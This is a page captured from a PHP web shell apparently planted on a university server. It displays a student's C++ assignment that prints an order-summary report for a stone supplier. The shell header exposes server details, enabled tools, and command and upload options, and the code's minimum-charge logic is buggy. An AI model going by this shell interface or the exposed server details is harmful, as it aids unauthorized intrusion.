Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.149.24.192
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jdwaltersdorf/gradelooplab/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jdwaltersdorf/gradelooplab/prog3.cpp
//
//
// James Waltersdorf
// Program #3
// Last Modified : october 21st, 2008
// Prof. Ames
//
//

// Preprocessor directives

#include <iostream> 
#include <iomanip>   
#include <fstream>
using namespace std;

// Main function

int main()
{

// --- Declare variables here

int
   amtordered,
   distance,
   ordercount = 0,
   ready = 0,
   rock = 0,
   topsoil = 0,
   sand = 0,
   rejects = 0;

float
   matrlcost,
   delvrychrg,
   salestax,
   total,
   unitcost,
   mincharge,
   maxcharge,
   totalcost = 0;
   
char
   dummych,
   classch,
   productch;
   
bool
   errorincodes;   // false if codes okay, true if either code invalid

// --- Output report headings here
cout << "\n\n==========================================================================\n";
cout << "\n                          VWC Stone Mart, Inc.                            \n";
cout << "                             Order Summary                                \n\n";
cout << "==========================================================================\n";
cout << "\nProduct  Class  Amount  Distance  Materials  Delivery  Sales Tax   Total\n";





// --- Set numeric formatting for detail lines

cout << fixed << setprecision(2);     

// --- Initialize counters, summary variables here


mincharge = 1e29;
maxcharge = 0;

// --- Prime loop with first input value

cin >> productch;


// --- Processing loop - stops when product code is sentinel 'Z'

while (productch != 'Z')
{

   cin.get(dummych);               // skip blank in column 2
   cin.get(classch);               // get char in column 3, even if blank
   cin >> amtordered >> distance;  // remainder of input in normal fashion
   errorincodes = false;           // set flag - no error found yet!

   // --- switch statements to validate codes, set unit cost and count product types go here

switch(productch)
{
 case 'C': 
   switch(classch)
   {
    case ' ':
     ready ++;
     unitcost = 52.60;
     break;
    default:
     errorincodes = true;
   }
    break;
 case 'R':
   switch(classch)
   {
    case 'C':
     rock ++;
     unitcost = 22.25;
     break;
      
    case 'G':
     rock ++;
     unitcost = 16.50;
     break;
   
    case 'D':
     rock ++;
     unitcost = 35.00;
     break;
    default:
     errorincodes = true;
   }
   break;
 case 'S':
   switch(classch)
   {
    case ' ':
     sand ++;
     unitcost = 52.60;
     break;
    default:
     errorincodes = true;
    }
    break;
 case 'T':
   switch(classch)
   {
    case 'A':
     topsoil ++;
     unitcost = 8.25;
     break;

    case 'B':
     topsoil ++;
     unitcost = 6.50;
     break;
   
    case 'C':
     topsoil++;
     unitcost = 5.40;
     break;
    default:
     errorincodes = true;
   }
  break;
 default:
  errorincodes = true;
}

   // --- now handle detail line

   if (errorincodes)  // codes invalid - no calcs necessary - detail line with error mesg
   {

    cout <<setw(3)<<productch <<setw(8)<<classch << "         @@@@@@@@@@@@-CANNOT COMPUTE!-@@@@@@@@@@@@\n";
    rejects ++;

   }
   else               // codes valid - calcs, collect summary data, normal detail line
   {

     matrlcost = unitcost * amtordered;
     matrlcost = static_cast<int>(matrlcost * 100 + .5) / 100.0;
    
	if(distance < 5)
  	  delvrychrg = .015 * matrlcost;
 	 else
	if(distance >= 5 && distance  < 15)
  	  delvrychrg = .020 * matrlcost;
 	 else
	if(distance >= 15)
  	  delvrychrg = .025 * matrlcost;

     delvrychrg = static_cast<int>(delvrychrg * 100 + .5) / 100.0;

     salestax = .05 * (matrlcost + delvrychrg);
     salestax = static_cast<int>(salestax * 100 + .5) / 100.0;
 
     total = matrlcost + delvrychrg + salestax;
   
     ordercount = ready + rock + sand + topsoil + rejects;

     setprecision(2);

     cout <<setw(3)<< productch <<setw(8)<< classch <<setw(9)<< amtordered <<setw(9)<< distance <<setw(12)<< matrlcost <<setw(12)<< 
          delvrychrg <<setw(10)<< salestax <<setw(10)<< total<< endl;

     totalcost = totalcost + total;     

     if(total > maxcharge)
      maxcharge = total;     

     if(total < mincharge || total < maxcharge)
      mincharge = total;
   
   }   // end of else 
    
   cin >> productch;  // get next product code

}  // end of processing while loop

// --- Now display summary statistics 
cout <<"\n\n===========================================\n";
cout <<"||<<<<<<<<<<<<<::::::::::::::>>>>>>>>>>>>||\n";
cout <<"||                                       ||\n";
cout <<"||~~~~~~~~~~~~~Summary Report~~~~~~~~~~~~||\n";
cout <<"||                                       ||\n";
cout <<"||<<<<<<<<<<<<<::::::::::::::>>>>>>>>>>>>||\n";
cout <<"===========================================\n";
cout <<"\n===========================================";
cout <<"\n\nTotal # of orders" <<setw(10)<<ordercount<<endl;
cout <<"\n 1{ Ready-mix concrete" <<setw(5)<<ready<<endl;
cout <<" 2{ Rock and Gravel" <<setw(8)<<rock<<endl;
cout <<" 3{ Sand" <<setw(19)<<sand<<endl;
cout <<" 4{ Topsoil" <<setw(16)<<topsoil<<endl;
cout <<" 5{ Rejected orders" <<setw(8)<<rejects<< endl;
cout <<"\n================Charge Info==================\n";
cout <<"\nTotal charges:   $"<<totalcost<<endl;
cout <<"Minimum charge:  $"<<mincharge<<endl;
cout <<"Maximum charge:  $"<<maxcharge<<endl;
cout <<"\n=============================================\n\n\n";

return 0;

}



Stv3n404 - 2023